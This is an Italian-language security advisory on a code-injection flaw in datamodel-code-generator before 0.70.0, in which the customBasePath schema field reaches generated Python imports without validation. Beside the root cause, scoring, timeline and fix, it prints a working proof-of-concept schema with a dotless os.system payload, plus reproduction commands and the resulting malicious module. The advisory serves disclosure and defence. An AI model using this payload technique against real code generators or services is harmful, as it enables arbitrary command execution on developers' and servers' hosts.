
Iniezione di codice (RCE) in datamodel-code-generator tramite customBasePath non convalidato (CVE-2026-63720)
Gravità: Alta, CVSS 3.1 7.5 / CVSS 4.0 7.5 (assegnata da VulnCheck, il CNA)
Tetto ambientale (distribuzione come servizio di rete): fino a 9.8
Vettore (v4.0): CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Vettore (v3.1): CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
Versioni interessate: datamodel-code-generator < 0.70.0
Corretta in: 0.70.0
CWE: CWE-94 (Improper Control of Generation of Code, 'Code Injection')
Segnalata da: Rahul Karne
CNA: VulnCheck
Pubblicata: 26 luglio 2026
datamodel-code-generator ha convalidato ogni stringa di import controllata dallo schema che potesse trasportare un payload di iniezione di codice, tranne una.
Lo strumento converte uno schema di input (JSON Schema, OpenAPI, YAML) in codice sorgente di modelli Python. Diversi campi dello schema vengono renderizzati direttamente in quel codice generato, quindi il progetto li convalida come identificatori Python con notazione a punti prima dell'uso, proprio per prevenire l'iniezione. Il campo di estensione dello schema customBasePath è l'unico campo correlato che salta questo controllo. Il suo valore confluisce non sanificato in un'istruzione from ... import ... nell'output generato. Un attaccante che controlla lo schema di input può incorporare Python arbitrario usando nuove righe e un'espressione senza punti, e questo viene eseguito nel momento in cui il modulo generato viene importato, che è il normale passo successivo dopo la generazione dei modelli.
Questa è una correzione incompleta di CVE-2026-55415 (GHSA-5578-w22f-pfx9), che ha indurito i campi correlati customTypePath e x-python-import contro questa esatta classe di attacco. Tale correzione non copriva customBasePath, che raggiunge lo stesso identico sink senza convalida ed è rimasto sfruttabile fino alla 0.68.1 e su main fino alla 0.70.0.
Esecuzione di codice Python arbitrario nel processo che importa o esegue i modelli generati: la macchina dello sviluppatore, un runner CI o qualsiasi servizio che genera e poi carica i modelli. Riservatezza, integrità e disponibilità dell'host sono completamente compromesse, limitate solo dai privilegi di quel processo.
La gravità dipende interamente da dove la generazione del codice viene eseguita su input non attendibili:
Workflow locale dello sviluppatore. Uno sviluppatore genera modelli da uno schema di cui non è autore (un documento OpenAPI scaricato o di terze parti) e importa il risultato. Il codice viene eseguito con i privilegi dello sviluppatore. Questo è il caso su cui si basa il punteggio assegnato.
Pipeline CI / di build. Una pipeline genera modelli da specifiche di terze parti ed esegue i test. Il codice viene eseguito sul runner CI con le credenziali di cui dispone.
Servizio di rete (tetto ambientale, fino a 9.8). Un servizio che accetta uno schema via HTTP, genera modelli e li carica, ad esempio una piattaforma B2B che genera automaticamente SDK da specifiche OpenAPI fornite dal cliente, esegue il codice dell'attaccante sul server a partire da una singola richiesta non autenticata e senza interazione dell'utente. Questa è la distribuzione che l'advisory correlato dello stesso mantainer (GHSA-m34r) indica come in scope.
Chi è interessato: qualsiasi utilizzo di datamodel-code-generator < 0.70.0 che (1) generi modelli da uno schema il cui valore customBasePath è influenzato dall'attaccante e (2) importi o esegua il modulo generato. Il flusso di lavoro predefinito genera-e-importa soddisfa (2) intrinsecamente.
Chi non è interessato:
0.70.0 o successive, dove customBasePath viene convalidato.| Metrica | Valore | Fonte |
|---|---|---|
| Download, complessivi | 194 milioni | pepy.tech/projects/datamodel-code-generator |
| Download, ultimi 30 giorni | 16,3 milioni | pepy.tech |
| Distribuzione tipica | Macchine degli sviluppatori, pipeline CI/CD e piattaforme di generazione di SDK che generano codice da OpenAPI / JSON Schema | intrinseco alla funzione dello strumento |
Il valore del campo customBasePath dello schema viene introdotto nel codice generato senza alcun vincolo di identificatore. Tre punti della base di codice sono rilevanti (percorsi relativi a src/datamodel_code_generator/):
parser/jsonschema.py definisce il campo custom_base_path con alias="customBasePath" (~riga 644), consumato tramite _resolve_base_class(...) in diversi punti di chiamata.parser/base.py, _resolve_base_class (~riga 1665), restituisce il valore dopo solo una normalize() locale (deduplicazione/rimozione spazi). Nessuna convalida dell'identificatore viene applicata.imports.py, Import.from_full_path() (~riga 35), emette il valore così com'è come riga from ... import .... Il valore viene anche usato come classe base in model/base.py set_base_class (~riga 1324) e renderizzato grezzo dal template del modello (class {{ class_name }}({{ base_class }}):).Poiché il valore viene scritto nel sorgente Python senza alcun vincolo, le nuove righe incorporate e un'espressione senza punti sopravvivono nell'output come proprie righe separate e singolarmente analizzabili, e la riga centrale viene eseguita all'importazione.
Il payload è privo di punti per necessità. Import.from_full_path divide il valore sul ., quindi una normale chiamata os.system(...) verrebbe spezzata. Usare getattr(__import__('os'),'system')(...) evita qualsiasi . risolvendo comunque la stessa chiamata, e le nuove righe circostanti mantengono sintatticamente valide le righe from ... import ... emesse, così la riga centrale iniettata viene eseguita correttamente.
Non è un progetto che ha trascurato l'iniezione. Il mantainer ha indurito questa esatta classe di attacco ripetutamente in molteplici advisory (GHSA-5578, m34r, 8m8r, wjv6), instradando ogni volta una stringa di import o di tipo controllata dallo schema attraverso _validate_dotted_python_identifier_path prima che raggiunga la generazione del codice. I campi correlati customTypePath (convalidato in parser/jsonschema.py ~righe 4956, 5202) e x-python-import (~riga 2096) passano entrambi attraverso quel validatore.
customBasePath è l'unico campo correlato senza tale chiamata. Raggiunge lo stesso sink Import.from_full_path attraverso un percorso diverso (_resolve_base_class) che non è mai stato collegato alla convalida ricevuta dagli altri campi. Il difetto è sopravvissuto proprio perché la difesa circostante sembrava completa: un revisore che cerca stringhe di import non convalidate vede i validatori sui campi che controlla per primi, e questo campo passa attraverso un helper che sembra risolvere le classi base piuttosto che gestire gli import. È una lacuna in una correzione sistematica, non una correzione assente, ed è per questo che è persistito fino all'ultima release.
Un attaccante ha bisogno di:
< 0.70.0.customBasePath in uno schema che l'obiettivo elaborerà, in pratica fornendo o influenzando lo schema di input (un documento OpenAPI/JSON Schema di terze parti o uno schema inviato a un servizio).All'attaccante non sono richiesti autenticazione né privilegi elevati (PR:N). Il punteggio base riflette che la vittima esegue l'ordinaria azione di generazione-e-importazione (UI:R in v3.1 / UI:A in v4.0); la distribuzione come servizio di rete rimuove anche quello, ed è da qui che arriva il 9.8 ambientale.
Quanto segue è stato eseguito contro il pacchetto reale e non modificato. Riproduzione:
pip install "datamodel-code-generator==0.68.1"
datamodel-codegen --input attack.json --input-file-type jsonschema --output generated_models.py
python -c "import generated_models"
Input dell'attaccante (attack.json):
{
"type": "object",
"title": "User",
"customBasePath": "builtins import object\ngetattr(__import__('os'),'system')('whoami > RCE_PROOF.txt')\nfrom builtins.object",
"properties": { "name": { "type": "string" } }
}
generated_models.py generato sulla versione vulnerabile (0.68.1):
from __future__ import annotations
from builtins import object
getattr(__import__('os'), 'system')(
'whoami > RCE_PROOF.txt'
)
from builtins import object
class User(object):
name: str | None = None
La chiamata dell'attaccante viene emessa così com'è nel sorgente generato.
All'importazione: il comando viene eseguito. Nella verifica eseguita, il marcatore iniettato è stato stampato su stdout e RCE_PROOF.txt è stato creato contenente l'utente corrente (root), confermando l'esecuzione arbitraria di comandi attraverso il normale flusso di lavoro genera-e-importa.
Sulla versione corretta (0.70.0): lo stesso schema viene rifiutato prima che venga generato qualsiasi codice:
Error at schema path 'attack.json': Error: customBasePath must be a dotted
Python identifier path: "builtins import object\ngetattr(__import__('os'),
'system')('whoami > RCE_PROOF.txt')\nfrom builtins.object"
Nessun file viene prodotto. Il messaggio di rifiuto indica direttamente la correzione: il valore ora deve essere un percorso di identificatore Python con notazione a punti.
Variante servizio di rete. È stato dimostrato che un servizio HTTP loopback non autenticato, che accetta uno schema inviato via POST, genera modelli e li importa, esegue il comando dell'attaccante sul server a partire da un singolo curl non autenticato, senza interazione dell'utente. Questa è la forma di distribuzione dietro il 9.8 ambientale. I file del servizio e dell'attacco sono inclusi nel repository della PoC.
Aggiorna a datamodel-code-generator 0.70.0 o successiva:
pip install --upgrade "datamodel-code-generator>=0.70.0"
0.70.0 instrada customBasePath attraverso la stessa convalida dell'identificatore a punti già applicata a customTypePath e x-python-import, quindi un valore che non è un percorso di identificatore valido viene rifiutato prima della generazione del codice.
Se non puoi aggiornare immediatamente: non generare modelli da schemi che non controlli completamente e non importare né eseguire moduli generati da schemi non attendibili. Non esiste un flag di configurazione che aggiunga la convalida mancante nelle versioni interessate; l'aggiornamento è la soluzione affidabile.
Nota per chi riutilizza le parti interne del generatore. Il difetto era una chiamata di convalida mancante su un percorso di codice verso Import.from_full_path, non un difetto del sink stesso. Qualsiasi progetto a valle che renderizzi stringhe controllate dallo schema nel codice generato dovrebbe convalidare ogni campo di questo tipo come identificatore a punti, non solo quelli che passano attraverso l'ovvio percorso di gestione degli import.
VulnCheck (il CNA) ha assegnato 7.5 (Alta), corrispondente al vettore base che il mantainer ha usato per l'advisory padre CVE-2026-55415, perché questa è la stessa classe di iniezione, lo stesso sink Import.from_full_path e lo stesso impatto.
AV:N: gli schemi vengono comunemente ottenuti tramite rete (documenti OpenAPI / JSON Schema scaricati o di terze parti).AC:H: lo sfruttamento dipende dal fatto che la vittima generi modelli dallo schema malevolo e poi importi o esegua il codice generato.PR:N / UI:R (v3.1): nessun privilegio per l'attaccante; la vittima esegue il normale flusso di lavoro di generazione del codice e importazione.C:H / I:H / A:H: piena esecuzione arbitraria di codice sull'host.Il tetto ambientale è 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) e si applica specificamente alla distribuzione come servizio di rete, dove il generatore è esposto a schemi non attendibili e non è richiesta alcuna interazione della vittima. Quel valore è una nota ambientale per quella distribuzione, non il punteggio base assegnato. Dichiarare entrambi ed essere espliciti su quale sia quale è l'inquadramento onesto: il base è 7.5 e raggiunge 9.8 solo nel caso del servizio esposto.
| Data | Evento |
|---|---|
| 13 luglio 2026 | Vulnerabilità identificata |
| 14 luglio 2026 | Segnalata (divulgazione coordinata) |
| 21 luglio 2026 | Correzione committata (545a96c5) |
| 24 luglio 2026 | Rilasciata la versione corretta 0.70.0 |
| 26 luglio 2026 | CVE-2026-63720 pubblicata da VulnCheck |
Scoperta e segnalata da Rahul Karne, ricercatore di sicurezza e IEEE Senior Member. La sua ricerca si concentra sui difetti di iniezione e di gestione degli input nei pacchetti open source ampiamente utilizzati come dipendenze, tra cui CVE-2026-65321 (SQL injection in PyAthena) e l'indurimento della classe padre attorno a questa scoperta.
Contatto: [email protected] · GitHub: rahulreddykarne
545a96c5: https://github.com/koxudaxi/datamodel-code-generator/commit/545a96c5Contatti per i media: [email protected]. PoC completa (schema dell'attaccante, demo del servizio di rete) e ulteriori dettagli tecnici disponibili su richiesta.